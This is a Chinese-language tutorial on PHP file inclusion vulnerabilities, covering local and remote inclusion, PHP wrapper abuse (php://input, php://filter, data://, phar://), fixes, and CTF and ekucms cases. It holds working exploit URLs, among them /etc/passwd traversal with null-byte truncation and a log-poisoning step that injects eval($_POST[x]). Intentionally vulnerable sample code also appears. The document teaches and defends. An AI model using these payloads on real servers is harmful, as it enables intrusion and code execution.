Web安全-文件包含
字数 2727 2025-08-11 21:26:39
文件包含漏洞全面解析与防御指南
一、文件包含原理
文件包含是指源文件可以将另一个文件的全部内容包含进来的功能。在PHP中,文件包含通常表现为以下形式:
#include "文件名"
或
#include <文件名>
二、文件包含漏洞产生条件
- 用户能够控制动态变量
- 程序使用include()等函数通过动态变量的方式引入需要包含的文件
三、文件包含漏洞的危害
- 敏感信息泄露:读取服务器上的敏感文件
- 获取webshell:通过包含恶意文件获取服务器控制权
- 任意命令执行:执行系统命令,完全控制服务器
四、危险函数列表
PHP危险函数
include()include_once()require()require_once()fopen()readfile()
JSP/Servlet危险函数
java.io.file()java.io.filereader()
ASP危险函数
include fileinclude virtual
五、函数区别详解
- include():包含并运行指定文件,包含文件发生错误时,程序警告但会继续执行
- require():包含并运行指定文件,包含文件发生错误时,程序直接终止执行
- include_once():和include类似,但会检查文件是否已被导入,避免重复导入
- require_once():和require类似,但只导入一次
六、PHP配置相关
php.ini关键配置:
allow_url_fopen=off:禁止包含远程文件- PHP4存在远程包含和本地包含漏洞
- PHP5仅存在本地包含漏洞
七、文件包含漏洞类型与利用
7.1 本地文件包含(LFI)
无限制文件包含示例:
// include.php
<?php
$filename=$_GET['filename'];
include($filename);
?>
访问方式:http://127.0.0.1:8080/include.php?filename=index.txt
有限制文件包含绕过方法:
- %00截断(空字符截断)
- 路径遍历:
../../../etc/passwd - 垃圾数据填充:
filename=../../../../etc/passwd%00 - 超长文件名绕过
7.2 远程文件包含(RFI)
条件:
allow_url_fopen=ONallow_url_include=ON
示例:
// include.php
<?php
$filename=$_GET['filename'];
include($filename);
?>
远程服务器上创建readme.txt并访问:
http://127.0.0.1/include.php/?filename=http://192.168.192.131/index.txt
八、PHP伪协议利用
8.1 支持的伪协议列表
file://- 访问本地文件系统http://- 访问HTTP(s)网址ftp://- 访问FTP(s) URLsphp://- 访问I/O流zlib://- 压缩流data://- 数据(RFC 2397)glob://- 文件路径模式匹配phar://- PHP归档ssh2://- Secure Shell 2rar://- RARogg://- 音频流expect://- 处理交互式流
8.2 关键配置参数
allow_url_fopen:默认ON,允许URL封装协议访问文件allow_url_include:默认OFF,不允许包含URL封装协议
8.3 各协议利用详解
php://input
利用条件:allow_url_include=ON
作用:访问请求的原始数据,将POST数据作为PHP代码执行
限制:enctype="multipart/form-data"时无效
示例:
http://127.0.0.1/include.php?file=php://input
[POST DATA]
<?php phpinfo(); ?>
file://
用途:访问本地文件系统
示例:
- 绝对路径:
http://127.0.0.1/include.php?file=file://D:\phpStudy\WWW\index.txt - 相对路径:
http://127.0.0.1/include.php?file=./index.txt
http://
用途:远程文件包含
示例:http://127.0.0.1/include.php?file=http://127.0.0.1/index.txt
php://filter
用途:读取文件源码
示例:
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
过滤器分类:
-
字符串过滤器:
string.rot13string.toupperstring.tolowerstring.strip_tags
-
转换过滤器:
convert.base64-encode/decodeconvert.quoted-printable-encode/decode
-
压缩过滤器:
zlib.deflate/inflatebzip2.compress/decompress
-
加密过滤器:
mcrypt.*mdecrypt.*
data://
用途:直接执行PHP代码
示例:
- 明文:
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?> - Base64编码:
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
phar://、zip://、bzip2://、zlib://
用途:读取压缩文件中的内容
特点:不需要指定正确后缀名
示例:http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
九、漏洞修复方案
- 设置白名单:严格限制可包含的文件范围
- 过滤危险字符:如
../、phar://等 - 设置文件目录:限制包含文件只能在特定目录
- 关闭危险配置:
allow_url_fopen=Offallow_url_include=Off
- 使用绝对路径:避免相对路径带来的安全隐患
- 更新PHP版本:使用最新稳定版本
十、实战案例
10.1 CTF-南邮杯案例
利用伪协议读取源码:
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
10.2 ekucms文件包含漏洞
- 注入恶意代码:
http://127.0.0.1/ekucms2.4.1/index.php?s=my/show/id/{~eval($_POST[x])}
- 执行phpinfo:
http://127.0.0.1/ekucms2.4.1/index.php?s=my/show/id/\..\temp\logs\22_04_20.log
十一、总结
文件包含漏洞是Web安全中常见的高危漏洞,攻击者可以利用此漏洞读取敏感信息、执行系统命令甚至完全控制服务器。防御的关键在于严格控制文件包含的范围、过滤用户输入并及时更新系统配置。开发人员应避免使用动态包含文件的方式,或至少对用户输入进行严格校验。